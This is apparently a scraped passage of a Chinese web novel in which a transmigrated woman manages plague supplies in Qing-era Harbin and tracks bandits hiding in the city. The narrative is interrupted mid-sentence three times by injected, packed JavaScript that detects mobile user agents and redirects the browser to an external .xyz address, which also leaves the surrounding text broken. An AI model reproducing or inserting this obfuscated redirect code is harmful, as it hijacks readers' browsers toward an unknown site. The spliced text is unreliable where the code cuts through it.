麻家最大的竞争对手就是苏家,他们以为苏老爷死了,苏爱大少爷又总不回家,一屋子女人成不了事。
要不了多久,苏家也会像其他城里的大户人家一样,被鼠疫杀光光。
然而,苏家居然在一开始就严防死守,进出苏家的规矩比进皇宫还严,鼠疫对苏家没有一丁点的影响。
麻家不得不考虑必须,在疫情过后,不得不跟苏家共存的现实。
共存,应该怎么存,这又是一个问题。
他们的计划是先试探,再根据结果调整具体行动。
这一箱不合格的口罩,就是对苏家的服从性测试。
如果苏家人什么都没看出来,直接把口罩送到伍连德那里,到时候再发现货有问题,苏家就得担责了,不想死的话,苏家也得用尽手段把这事圆过去。
如果在苏家就被查出来了,可以看看苏家人到底是怎么想的,是卖个人情给麻家,帮着偷偷瞒过去,还是秉公执法揭出来。
揭出来,就代表着两家彻底撕破脸了,就像现在这样,随便送个替罪羊过去,然后再另外想办法。
不管是把得了鼠疫的人扔进苏家大院里,还是放火把苏家烧了,总归能趁天下大乱之际,把眼中钉肉中刺灭门。
替罪羊是现成的,柳氏的背景就更简单了,十岁被卖给老鸨,按“瘦马”培养。
瘦马也分为三种:
资质第一等的女孩子,交易方向是卖给达官贵人当解闷玩物,她们会被教导琴棋书画、吟诗弹唱、以及各种勾人的手段,外加精细的化妆和形体训练。
第二等的女孩子,交易方向是卖给巨商富贾,成为解语花,她们会被教导识字,重点培养记账和管事的能力,对外貌要求也低一些。
第三等的女孩子,交易方向是大家族里的通房丫头、妾室,她们的主要学习内容是女红、厨艺,能给男主人提供市场上买不到的手艺,可以让男主人在社交场合拿出来炫耀。
柳氏就是按照第二等“瘦马”培养的。
好绣娘、好厨子,是社交场上的有形资产,可以换宝马,可以换升迁,这都是常见操作。
夏天的时候,麻老爷去江南做生意,看见柳氏的三寸金莲裹得极好,起了色心,就把柳氏买回来。
刚开始新鲜,心肝宝贝得不得了,如今早就腻了,扔在一边。
至于管事、记账……扯什么犊子,麻老爷手下那么多工作经验丰富的账房先生,他们都是领着工钱、分红的,谁会让这么小的丫头片子管账。
大夫人得知买这么一个小丫头居然花了这趟生意一半的利润,觉得买贵了,但她又不敢冲着麻老爷发火,只敢拿柳氏出气。
大夫人说要把柳氏拿去顶罪的时候,麻老爷正忙着推牌九,胡乱应了一声,根本就没往心里去。
玉霄小声嘀咕:“那个柳氏真是不知好歹,麻家人都那么对她了,她还死心塌地护着他们,相信他们。”
金显珏摇摇头:“别这么说,她跟你不一样,你见多识广,她能见过几个人,自然是好骗的。”
别说是柳氏这个从小生活在封闭环境里的清末女人,就算是上过大学,去过很多地方的某些现代女人,都能说出:“我家不重男轻女,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427461|184848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不让我学家传手艺,是怕我累着了”、“我妈说女孩子不需要太高的学历,女博士都找不到对象”、“有些专业女生分数线高是因为那些专业本来就不适合女生,不想让女生辛苦考进去又找不到工作,是对女生的保护”……
面对家里有个超生出来、一事无成的弟弟,父母要求她管弟弟一辈子,她也能说:“我家真的不重男轻女,我是姐姐,这本来就是我的责任啊,家人不就应该是互帮互助的吗?将来有什么事,我还能跟弟弟商量着办呢。”
金显珏听过太多这样的话,已经见惯不怪了。
玉霄气鼓鼓:“她呀,真是一个木鱼脑袋……那现在怎么办?”
连她都知道,就算杀了柳氏,也没有任何意义。
“先把口罩送给伍大人,后面的事我来处理。你帮我处理另一件事。”
玉霄好奇地看着她,不知道会给自己安排个什么活。
“刚才你也听到了,她说我饿着婆婆,还把婆婆气哭,你我都知道这是谣言,但是外面的人不知道,传着传着,我的名声就坏了,到时候想挽回都难,你得帮我跟闻夫人说说,让她尽量表现出她跟我婆媳和谐,其乐融融,这样以后我在外面办事也省心一些。”
玉霄愣了一下:“我?我哪够得着跟太太说话。”
金显珏不擅宅斗,但是她相信玉霄,能被礼亲王送来当陪嫁丫环的人,绝对不是个二傻子。
她压低声音:“你要相信自己,你连王府都能待得如鱼得水,区区一个苏宅,怎么可能会有你玉霄办不成的事!我又不是真格格,咱俩现在有福同享,有难同当,我要是能当上整个哈尔滨的老大,愿与你共天下!”
玉霄怔怔地看着她:“……当上……哈尔滨的老大……这话听着怎么这么奇怪呢。”
“不要在意这些细节,我们猎户平时说话就是这样的啦~意思就是成为有头有脸的人。”
金显珏冲她曲起胳膊,握紧拳头:
“光在这宅子里打混有什么意思,陪嫁丫头最好的结局是给少爷当小妾,咱们这少爷不定这辈子都不回来了。
我么,拿人钱财,与人消灾,烂在这里也无话可说,你这么青春年少,跟我又不熟,陪我守活寡没意义,你就不想嫁个好人家,当正室?”
玉霄那可太想了,脑子进水了才想守活寡,正室守还能拿贞节牌坊,妾室守个什么劲。
“我要是成名,你身为我的贴身丫环,还怕没有好人肯娶你?”金显珏给了玉霄一根她最在意的胡萝卜。
“好!”玉霄当即答应了。
虽然她在王府只伺候格格,没有参与太多府里的各种破事,但到底看过听过,见过嫡福晋、侧福晋怎么讨好老王妃,怎么互相斗法。
她有九成九的把握,可以让闻夫人出头替金显珏说话。
·
·
这批缺了数的口罩,金显珏亲自送了去,见了伍连德,她先自己请罪,满脸哀愁地诚心道歉:“对不起,这次缺了两千个,有人交上来的口罩不合格,我已经叫人尽快补上,希望不会误了你的事。”
误是不会误的,金显珏在订生产计划的时候就放量了。
缺了这两千个口罩,受到影响最大的是麻家。
其他的正事都不影响。
接下来,就是处理麻家了。
锡良想管,但有心无力。
此时整个哈尔滨的管理权,包括警察厅都在沙俄人手上,中国人没有任何权力。
沙俄人巴不得中国人防疫不力,好让沙俄军队有理由入驻。
麻家搞破坏,对他们来说简直太棒了。
锡良都觉得没有办法制裁麻家了,只能折了胳膊往袖子里塞,他劝金显珏:“罢啦,多一事,不如少一事。”
“那不行,今天糊弄两千个,明天就敢糊弄两万个,长此以往,还了得!”金显珏闭了闭眼睛,再睁开:“我会想办法,今天我就来跟您说一声,让您心里有数。要是将来出了事,我绝不会把您说出来!”
10. 第 10 章
锡良对金显珏的“事先告知”并没有放在心上,不过是个十七八岁的小媳妇罢了,她能翻出多大的天?
不过是跟各家夫人、太太递递小话,说说是非,让几家女眷一起排挤麻家的女人。
金显珏并不指望锡良能帮她,只要别添乱就行了,她已经想好了应该怎么处理。
中国人制造了伪劣防疫物资=中国防疫不力=沙俄和日本就要出兵。
那么,如果制造伪劣防疫物资的不是中国人呢……麻家是中国人这一点没办法抛开,但是,他们可以是被沙俄人、日本人指使的。
至于沙俄人、日本人到底有没有指使……
他们指使也得指使,不指使也得指使。
具体选哪国人,金显珏也还没决定,到时候再看,一网子下去,捞着谁就是谁。
谁让你们没事在中国的地盘上瞎晃悠,活该倒霉!
·
·
这几天,金显珏不仅安排口罩的生产和统一运输,而且,还帮着找愿意当护士的人。
各个医生都有着自己的工作习惯,对护士的要求也都不一样,有些人的脾气温和一些,就算感觉不对,也会好声好气的提出来,有些则会因为沟通不畅,而越发暴躁,大吼大叫,把临时充当护士的人吓着,然后哭着喊着要回家,不受这气了。
金显珏就是负责居中调停的那个夹心饼干。
身为中间人,就算不想认识人都不可能,每天都有乱七八糟的人来找她,问她这个地方的人什么时候到位,那个地方为什么岗位上没有人,谁谁又迟到了,谁谁又不遵守卫生防疫规定……
总之,鸡毛蒜皮的破事一大堆,金显珏都在与内宅隔离的东厢房长住了,根本没法回去。
不过,人际关系就是这么一层一层建立起来的。
别人有事找到金显珏头上,该是她的事,她就处理,不是她的事,她也能给人指条明路,让人去哪儿办事,或是明说这事应该找谁,从不说“不知道”“不清楚”“问别人”。
高效的“首问负责制”在这个年代的全世界都是十分罕见的高效操作。
只要不是与自己直接利益相关的事,“一问摇头三不知,有事没事别沾我”才是整个地球的常态,不管是沙俄、法兰西、英吉利……老牌帝国主义国家皆是如此。
因此,在本国被各个机构推三阻四的洋人医生们对雷厉风行的金显珏颇有好感。
金显珏带着玉霄找洋人医生,向他们要各个片区的防疫登记记录,对他们来说完全就是举手之劳,他们甚至就指一指登记册子放置的地方,让金显珏走的时候记得把门带上。
被通知来看信息的时候,玉霄以为金显珏是要她把册子上的信息读给她听。
可是,等医生一走,金显珏匆匆吩付一句:“我看这个架子上的,你看那个架子上的,发现有问题就告诉我!”
然后,金显珏的手指在登记册子的字迹上飞快下滑、翻页,整个动作流畅地不得了。
玉霄十分困惑:“你不是在山里长大的吗?是怎么识字的?”
就连她都是因为聪明伶俐,福晋决定让她将来当格格的陪嫁,才让她读书识字,将来好帮着格格到夫家执掌中馈,行使当家主母的职责。
王府里都有多少丫环小厮不识字呢。
一个山里猎户的女儿居然识字?!
金显珏理直气壮:“我喜欢城里一个学堂的先生!每次都要找机会接近他,送东西他不收,直接硬扑他又不愿意,只好多读点书,每次进城卖野味的时候,就带点肉去他家,找他问问题。”
为了加强恋爱脑效果,金显珏一手托着腮,一手捂着胸:“啊,原来我读那么多书,都是有朝一日,可以走到他身边去。他那个时候教我识字,就是这样用手指着,让我一个一个往下读的呢。”
用手指着,是因为看惯了横版,看竖版的时候,眼睛会随时看串行。
金显珏又叹了一口气:“可惜,我只识字,不太会写,他说我已经是大姑娘了,握着我的手教如何执笔,大不成个体统。”
她的繁体字阅读能力是来源于看港台小说,以及台版的漫画,看没问题,要写繁体字,就要了亲的命了。
至今“忧郁的台湾乌龟”繁体版,她只会写“的”,连“乌”都不确定那一横到底应该写在哪里。
玉霄半张着嘴,表情好像见了鬼。
真正的爱新觉罗·显珏曾对她说过,读书是为了明理、知天下、识万事,就算是闺中女儿,也应该多读些书,唐朝长孙皇后的《女则》可惜失传了,那书里可不是让女人怎么伺候公婆、打扫房间的微小见识。
哎,差距啊。
不过金显珏拿出这个理由,又做出花痴模样,玉霄也能理解了,《诗经》里有一句“女之耽兮,不可说也”,女人为爱痴狂,什么事都干得出来,包括自学识字。
金显珏解决了“你为什么识字”的问题,便赶紧催玉霄去看册子,找出不对劲的人家来。
中国自古以来就搞“齐民编户”,户籍政策相当严,但是东北这地方比较特别,以前说这里是龙兴之地,不让人随便来。
但是,中东铁路一车一车地往东三省运洋人,这些年又是大小灾荒不断,闯关东的中国人也哗啦啦地从山海关流进来。
如今住在哈尔滨城里的人到底是什么身份,就连哈尔滨关道的官员都不知道。
金显珏为了在东北山里拍野外生存的视频,事先学习了很多清朝到解放初期的东北土匪相关知识,这样拍的时候,遇到曾经有人类生活过的洞穴或是破屋,她还能跟各位老铁、家人们聊聊上几句渊源、历史。
她知道如今的哈尔滨城里住着大土匪头子。
毕竟土匪打家劫舍就是为了过上好日子,在苦寒又没资源的山里待着,当原始森林婆罗门,难道是因为他们不喜欢繁华舒适的大城市?
那不就是因为哈尔滨百物皆贵,居大不易吗?
打劫打成了大土匪,还住在山里?
那不是白打劫了吗?
傻子才相信土匪打家劫舍是盗亦有道,也许有人一开始确实是被贪官污吏和无情的世道逼上梁山当“绺子”,但是,上了以后,就不是那么回事了。
真·梁山好汉李逵为了把朱仝“赚”上梁山,把年方四岁的沧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427462|184848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仓知府儿子给活劈了。
而这种骇人听闻的事情,在东北“胡子”这边根本就算不得事。
根据金显珏对此时土匪活动情况的了解,至少三个大土匪已经完成了原始积累,住在哈尔滨城里。
平时他们出手阔绰,与人为善,八面玲珑,外国警察好好的也不会查他们身份,他们平时也有正经营生,不是开窑子,就是开大烟馆,按时按点的都能交上税,中国收税的官员们也不会找他们的麻烦。
如今,金显珏要找他们麻烦了。
曾经拥有过权力的人,绝对不可能愿意放弃权力。
大土匪们哪怕已经可以靠窑子和大烟馆赚到钱,他们也不会放弃在山里的武装力量。
山里的土匪人多,冬天囤粮也不可能囤够到开春的数量。
肉么,山里的野味管够。
粮食、针线布匹和咸盐就是问题了,山里的猎户都得拿着野味和皮子到外面的集市上换,土匪也不例外。
他们平时发现快要没吃没喝了,就出去打劫。
疫情开始之后,整个哈尔滨都划区管制了,包括近郊的村子,用铁丝网和木头架子拦着,有人巡逻。
以前土匪可以悄悄地摸进村子,或是城市边缘,捞一把就跑,现在不好捞了,各个区域连接的地方,24小时都有人持枪巡逻,这谁受得了。
他们小心了几天,想等风头过去,结果,这风头怎么都过不去啊?越管越严了。
此前,沙俄警察厅里有一个跟苏家关系不错的中国人告诉苏家的管家:“附近山里的土匪已经开始憋不住了,陆续出来骚扰了几次,但是各家各户的粮食都是按天发的,土匪也没劫到什么东西,你们要小心啊,他们可能会冲着你们几个大户人家来。”
管家心态特别稳,少奶奶提前买了枪咧,来就来,谁怕谁。
他只是把这事当成“少奶奶神机妙算”的有力证据,说给苏家的人听,顺便拍拍少奶奶的马屁。
金显珏当时也没觉得有什么,来就来嘛,反正就是比谁子弹多呗,她囤了好多呢。
如今,这条消息却派上了用场。
好人饿急了,连亲生骨肉都吃,何况土匪。
只是,金显珏并不知道那几个大土匪住在什么地方,她查到的资料上,只有土匪的花名和他们犯下的累累罪行,上哪儿找去。
再说了,住在城里的土匪,也未必会用爹妈给起的真名。
所以,她要综合医生的防疫登记档案,房屋买卖交税记录,以及这户人家的营生来判断。
土匪发家发到能在城里买房,就是在中东铁路建成之后,清廷失去了对铁路沿线城市的掌控权的时候。
中、日、俄三家一直在为管辖权吵架,三方一起管,代表着互相掣肘,谁都管不了,变成了事实上的“三不管”,大土匪们抢劫、销赃都比以前方便许多。
金显珏就盯着中东铁路建成后才第一次在哈尔滨买大房子的、东北口音的人家。
“哇,这也有二十几家呢。”玉霄揉揉眼睛,看着金显珏写下来的名单。
然后,她无情地吐槽了一句:“你的字真难看。”
11. 第 11 章
“不要讲究这些细节,能看清就行,慈禧老佛爷的字也没比我好到哪里去。”金显珏看了看时间,下午一点。
“现在还有时间,你先回去跟家里说一声,让他们把枪和子弹都准备好,随时应敌。我去探探这几家的情况。”
玉霄满脸担忧:“这事你就一定得管吗?连总督都说算了……土匪,咱们可惹不起呀,来无影去无踪。”
这几天,玉霄听了不少关于“红胡子”的传说。
“红胡子”是东北土匪的代称,他们早年打劫的时候,为了吓人或是避免被人认出来,总是穿得稀奇古怪,脸上还挂着红色的假胡子,大多数土匪是骑马的,所以也叫“马匪”或是“马胡子”。
他们的常规操作是绑了“肉票”以后,把手指一根一根砍下来,给苦主家里送过去。如果被绑的是女人,还会成整个山寨的泄欲工具,有些人家好不容易凑齐钱把女儿、媳妇赎回来,人不是疯傻,就是过几天上吊自杀了。
而且,他们还耳目众多,曾有个给地主放牛的穷孩子放话说不怕土匪:“反正我穷光蛋一个,要啥没啥,难道他们还能把我的卵蛋割了?”第二天,这穷孩子就不见了,过几天,在山沟里发现了他的尸体,他的生殖器真被割掉了。
谁家孩子哭了,喊一声“红胡子来了”,孩子就会被吓得止住哭声,往大人怀里钻。
总之,在此时的东北,“红胡子”的名声就跟缅北、妙瓦底一个档次,传说也是越传越邪乎,平均水平相当于:“夫妻去市场买衣服,妻子进了更衣室就消失了,几年后,丈夫在畸形秀上看到被做成了人彘的妻子。”
尽管玉霄与金显珏相处不过一个多月,但是她还挺喜欢金显珏的,不忍心见她无辜受害:“住在城里的土匪也是土匪,他们也是不好惹的,剿匪都剿了几回了,匪越剿越多,连官府都没办法,我们就……算了吧,再想想别的办法。”
“来不及了,缺了两千个口罩,质量不过关的事情瞒不住,只怕俄国人这会儿都知道了。”金显珏摇头,“如果我是俄国人,现在就已经在找证据,然后向京里提出抗议,要求俄国的军队全面接管哈尔滨了。”
玉霄不解:“现在跟被接管有什么区别,到处都是‘大鼻子’吆三喝四。”
“不一样,要是全丢了,就真的一点都没有了。”
玉霄还是不理解:“没有就没有呗,横竖我们都是被人管的,谁管不一样,我看洋人管得也挺不错,哈尔滨比京城都热闹些。”
玉霄是真无所谓。
她家往上数几辈人,在大明王朝就是当帮闲、长工。
最光辉的时刻就是集三代人之力,攒到了钱,开了一个小铺子,然后明末大乱,铺子生意也黄了。
后来满人入关,她家过得更加艰难,只得卖身给礼亲王府,世代为奴,她就是家生子。
汉人当家,她家是奴才。
满人当家,她家还是奴才。
她自己以前在王府是当奴才,到苏家还是当奴才。
要她理解什么国家主权、民族独立之类离她非常遥远的事情,真是太为难她了。
大多数底层百姓也是这么想的,当初蒙元下手太狠,所以一百年不到被推翻了,满清入关以后的政策比较温和。
刚入关的那些年满地“反清复明”,现在的口号早就变成“扶清灭洋”了。
“那可不一样,他们没把咱们当人,不过是因为有个中东铁路,能给他们赚钱而已,如果现在不是鼠疫,而是水灾旱灾,你看他们会不会拨粮救济,他们也讲究‘非我族类,其心必异’,你的脸都跟他们不一样,吃的用的都是他们剩下的,要是他们没剩下,你就饿着。”
金显珏说得足够简单,玉霄也听明白了,她知道这位假格格的主意大的很,根本拦不住:“那你多带点人去呀,我回府叫人。”
“不用,人多了,反而打草惊蛇,我带洋医生去就行了。”
玉霄觉得金显珏疯了,只带医生去见土匪,是活得不耐烦了吗?
“光脚的才不怕穿鞋的,现在他们已经穿上了鞋,在哈尔滨城里,他们不敢杀洋人的。”
玉霄刚才太着急,一时没反应过来,被金显珏一提醒,她才恍然大悟——
对哦,大土匪好不容易才在城里置下房产,做上了正经生意,不到万不得已,没必要把自己土匪的身份掀出来,不然岂不是白辛苦一场。
“你反应真快。”玉霄由衷佩服。
金显珏笑笑:“行了,你先回去吧,今天我不会跟他们起冲突,让他们先练练手,别要动武的时候,枪打不响,子弹找不着。”
“好!”
面对完全没有过往经验的事情时,有人愿意像金显珏这样坚定地站出来揽事,出主意、想办法,对于普通人来说就是希望之光,只要听从指令服从就好,不用想太多。
这些洋医生每天上午开会,互相交流自己所在区域昨日的感染和死亡人数,下午出去巡逻,金显珏很想打个电话,让各位洋医生们能按她的时间表排一排,让她可以按路程远近安排去那些疑似大土匪的家里。
遗憾的是,医生们并没有电话。
此时紫禁城里的储秀宫、长春宫和建福宫已经装上了电话,名为“德律风”,专供慈禧太后用来快速掌握军国大事。
哈尔滨也有电话,但仅在中东铁路沿线各个站点有,用来传递铁路沿线的信息。
其他人,就算是衙门公务,也是市内通信靠人力,城际通信靠电报。
金显珏把几个区里住的疑似土匪地址写下来,并且排好时间,再盖上防疫总部的章,让玉霄赶紧回苏家,让苏家的家丁分头去找这几个医生,让他们在指定的时间再去某几户人家。
“洋人能听我们的吗?”玉霄拿着纸条,很担心。
金显珏指着大红章:“他们不是听我们的,是听它的。”
她自己先去与本区的洋医生去最近的疑似人家,第一家是开窑子的,一见到医生就大声抱怨,问隔离什么时候结束,他们的客人都被隔离在外了,完全没办法做生意,快要饿死了。
金显珏:“哦?你们没有偷偷做生意?”
“哪敢啊,洋大人说啦,一个感染,全屋死光。我喜欢钱,更喜欢命。”老鸨苦着脸。
“说得没错,老实待着,解除隔离的时候会告诉你的。”
……
连着走了十几家,金显珏察言观色,拐弯抹角的打听,遗憾的是,这些人家只是做的营生不是那么光明正大,属于下九流,与土匪并无往来。
眼看着天都要黑了,还有五家没去。
金显珏绝望地想:“不会要走到最后一家才是吧…… 要是走完最后一家都不是,那就更悲剧了。”
前方是一个兴记大车行的老板家,老板叫陈富贵,正是在中东铁路建成之后发家的。
发家的理由也没什么问题,中东铁路是建了,可是建的时候,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427463|184848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不得往那里运铁轨、枕木吗?
他们家是给做枕木的厂子提供木头的。
敲开门后,门房一见洋大夫,立马满脸笑容,点头哈腰将人迎了进去:“施密特大人,我当你今天不来了呢。”
金显珏的眼睛在他的脸上手上一扫而过,他的手上有老茧,说话对着施密特,眼睛却在金显珏的身上来回扫,实在不像大户人家的门房应该有的气质。
“大……老爷,施密特先生来了。”门房飞奔进去请当家人。
施密特不会说中文,他每次巡逻,都是指着表格让人自己看、自己确认。
具体选项有二十多个选择,包括但不仅限于今天出去了没有、去了哪、有没有不舒服、是否自行服药……在“有”或者“没有”上面画圈。
陈富贵听见声音,忙迎了出来,见到施密特,也在吐苦水,疫情开始以后,大车行的生意也没办法做了,他每天都很着急,问外面的鼠疫情况怎么样了。
以前来的都是洋大夫,洋大夫只会说简单的几个词,完全无法沟通。
今天好不容易来了个会说中文的金显珏,他迫不及待地问长问短。
金显珏很愿意跟他说话,人只要一旦愿意说话,就会不由自主地说出很多他们原本不该说的事情。
“鼠疫完不了,我们也很着急啊,还得靠各位配合,不然野火烧不尽,春风吹又生。”金显珏满脸的无奈。
聊着聊着,金显珏就随口编了个故事:“山里不知道有多少人,前几天,有一个猎户家一家四口,都死啦,唉,大家伙打不着,就逮瞎目碰子吃,煮了满满一锅,不知道里面是不是混着几只带毒的呢,死得可惨了。”
听见山里死了人,这家当家的眼神闪动,忙关切地问道:“是哪座山上的猎户?”
“壹台山。”金显珏挑了一处已经在沙俄警察局挂了号的大山。
这里山势险峻,闹土匪闹到解放前。
陈富贵又追问道:“在哪个山头?”
金显珏笑道:“这我哪里知道?我也开会的时候听说的。”
陈富贵一脸愁容,眉头微皱,金显珏奇道:“陈老爷似乎很关心山里的人?你们家有亲戚在里面?”
“没有没有……我们家是运木头的,要是山里也死人了,我们这生意还怎么做啊……”陈富贵叹了一口气。
金显珏问道:“壹台山上能有什么好木头?我看也不过是一些松柏而已,你们家在哪?”
陈富贵下意识开口:“骆驼峰……”
很快,他就发现自己说漏嘴了,忙找补:“我们家的林场在骆驼峰下面。”
骆驼峰那里山峦重叠,单是土匪就有不止一窝,连砍柴的樵夫也不会往那里走,压根没人砍树,林子确实茂密。
谁都无法马上证伪。
除非金显珏自己就是在那里挂柱的土匪之一。
金显珏笑道:“在那么远的地方啊,这一趟不得砍它几百棵树,才能回本啊?太危险了。”
“嗯哪。”陈富贵心不在蔫的应了一声。
关于防疫的事情,已经聊得差不多了,洋大夫和金显珏告辞离开。
深夜,趁着守区的巡逻队员换岗的时候,有人从陈家跑出来,他跑得很有技巧,一路溜边走,藏在阴影里,一直到跑出所在区,头也不回的往壹台山方向跑了。
从石头后面站起来几个人,他们拍了拍身上的雪:“真被少奶奶说中了!快,回去禀报!”
12. 第 12 章
壹台山岭顶有双峰对峙,如双峰骆驼,因此名为骆驼峰,山中森林茂密,几十个人往树后一藏,根本看不出来。
实乃杀人越货,劫道绑票的绝佳场所。
早年这里的本地土著只搞渔猎,不当土匪,自从明末袁崇焕杀了毛文龙之后,毛文龙的部将不愿意跟着袁崇焕,也觉得大明迟早要玩完,便四散奔逃,落草为寇。
壹台山初代土匪传说便是毛文龙手下先锋悍将,搁古惑仔里,得叫“双花红棍”。
后来大明倒闭了,土匪也喊了几年“反清复明”,以此为借口占了个民族大义,还定了一堆规矩,什么不得滋扰百姓,只杀贪官污吏之类。
不过再后面又收留了不少犯事逃蹿的各位英雄豪杰,就再也没人管这些规矩了。
到现在,土匪明面上的规矩还是讲忠心,说大义,实际暗地里的规矩只有两条:
第一,谁给他们饭吃,谁就是大哥,大哥让他们干啥,他们就干啥。
第二,谁砸他们的饭碗,谁就该死,死得越惨越好,越惨才能起到震慑作用。
他们想赚钱,但是又没本事跟官兵硬刚,只能靠像过去北方草原民族南下打草谷一样,“呼啦啦”的来,抢完了再“呼啦啦”的走,靠着山高林密藏身。
不过土匪虽狠,到底不能真的把一座山给占了,还是有不少猎户、樵夫、药农在山里生活,他们对整座大山和土匪窝的情况也很熟悉。
哈尔滨划区管理的时候,金显珏也没把他们忘了,她预留了一部分粮食和咸盐,在他们平时往来交易的村子留下告示,让他们到指定的地点领取。
所以,金显珏说她知道猎户家的事,土匪们一点都不怀疑。
已经成了气候的土匪,也有着相当的组织性,分为四梁八柱,里四梁是托天梁、顶天梁、顺天梁和应天梁。
其中顺天梁也叫粮台,去百姓家打劫、吃白食的时候,由他负责检查这户人家有没有传染病,饭食饮水里面是不是有毒。
如今的哈尔滨不用检查了,全城都是传染病,土匪也怕死,他们只好打劫住在山里的人。
结果现在说山里也有得病死全家的,这大当家哪能不害怕,那可是他的武装力量,他在城里吃好喝好混得好的根基。
从金显珏这里听到消息以后,陈富贵马上派人回山报信,让他们在打劫的时候小心一点。
山上的土匪愁啊,这怎么小心?
不发病的时候谁能看得出来?
那就只能不打劫了,可是不打劫吃什么啊!
还得是大当家想得周到,派来的人不仅告诉他们小心山里的疫病,还告诉他们五天后会有一批食物通过铁路运到哈尔滨,火车上的粮干净,就劫它。
现在的火车车速还没马快,土匪们一听,转愁为喜:“大当家没白在城里住着,连这事都打听到了。”
“那是自然,大当家什么时候亏待过我们。”
“兄弟们,把粮仓收拾收拾,准备囤粮!”
“好!!!”
·
·
与此同时,伍连德还在会议室里,跟各国医生掰扯鼠疫的品种。
金显珏的英文能力不足以听懂太多医学专业单词,她只能听懂这些外国人还是不相信伍连德,依旧坚信自己的判断。
一个叫梅尼斯的法国医生一拍桌子站起来:“到现在你还不承认你的判断有误,你是在谋杀,我要向外交部提出申请,把你换掉!”
伍连德还在想合适的高情商表达方式,金显珏听不下去了,她把手里的铜镇纸猛然往桌上拍,声音比刚才法国医生拍桌的声音响多了。
她站起来:“你连病区都没去过,凭什么说这次的鼠疫不可能人传人?!”
梅尼斯被噎了一下,昨天晚上刚到,确实没有去病区,他只是参加了晚上的外国医生会议。
整个哈尔滨,除了伍连德一个人说是肺鼠疫,别人都说是腺鼠疫,他坚信那么多医生不可能全都错了。
他坚信一定是伍连德错了,被金显珏这么一激,他相当有气势的对着伍连德大喝一声:“去就去!我会证明给你看,是你错了!”
说罢,他拂袖而去。
关于病理的议题结束,下面是关于防疫管理的议题。
现在哈尔滨是沙俄治下,俄国人为了保证中东铁路局的正常运行,使用残酷的手段对中东铁路哈尔滨总工厂的中国工人进行疫情管制。
疑似沾染鼠疫的人,伍连德把他们送进疑似病院,先观察,确诊后再使用大量的抗病毒血清治疗。
而沙俄人则是把病人,不管是什么病,全部当鼠疫疑似患者关到木制瓦罐车里,把车门锁上,运到荒野的破房子里,人进去了就是等死,在哈尔滨流传着一句话:隔离所,阎王殿,进去易,出来难。
如果有某家死了人,不管什么原因死的,就直接放火烧屋,乃至放火烧掉整条街都已经出现了。
导致有人感冒都不敢在家里待着,生怕被拖到荒山野岭自生自灭。
家里死了人即不敢哭,也不敢发丧出殡,只敢趁天黑偷偷埋在自家屋子的地下。
几年后的《远东报》这样写道:他们日日开会,并非谋诊治之法,而于防疫一节抛弃不问,致使此疫蔓延愈甚。
这也是金显珏死也不想让沙俄人掌握整个哈尔滨管理权的原因,现在他们还只能在被称为“三十六棚”的中东铁路家属区里抖威风,真让他们管了整个哈尔滨,那还不一把火烧光了,让全城中国人在露天过冬。
金显珏有心想管,却暂时没有想到好办法。
尽管此时的沙俄在经历过1905年的“十二月武装起义”之后,已经被称为帝国主义之耻,在英法美德奥面前就是个垃圾,甚至连意大利都不如,但它依旧是一个主权国家。
只要一个电话,首都圣彼得堡就会通过中东铁路,源源不断运来精兵强将。
就算拼尽苏家全力,也不可能跟沙俄精锐部队对抗。
在会上,沙俄人果然就口罩问题发难,连话术都跟金显珏猜想的一模一样。
大鼻子俄国人“中国人连防疫物资都不能保证,你们能不能管?不能管,我马上从俄罗斯调人过来管!”
此时所有人的目光都聚集在金显珏身上,她是负责防疫物资征集的,刚才她怼梅尼斯的时候气势十足,如今在她的职责范围内出了事,看她还怎么说。
金显珏从容地昂着头,脸上没有半点惧色:“已经在管了,不过……涉及其他国家的利益,对于调查进度,我不方便说,等拿到铁证,我自然会给各位一个交待。”
“涉及什么国家的利益?有什么是我都不能知道的吗!”沙俄医生大声说,在他看来,中国人都是给他打工的,他才是哈尔滨的主人,能跟金显珏平等对话,已经是给她这个郡主的优待了。
如果他是沙俄大使,别说区区一个郡主,就算是摄政王爱新觉罗·载沣,在他面前也得卑躬屈膝,陪着笑脸。
“是的!”金显珏脸上一切尽在掌握的从容,“我想廓索维茨公使并不希望贸然与其他国家发生不愉快的摩擦。”
此时上海已经有各国租界,看起来他们相处还算愉快
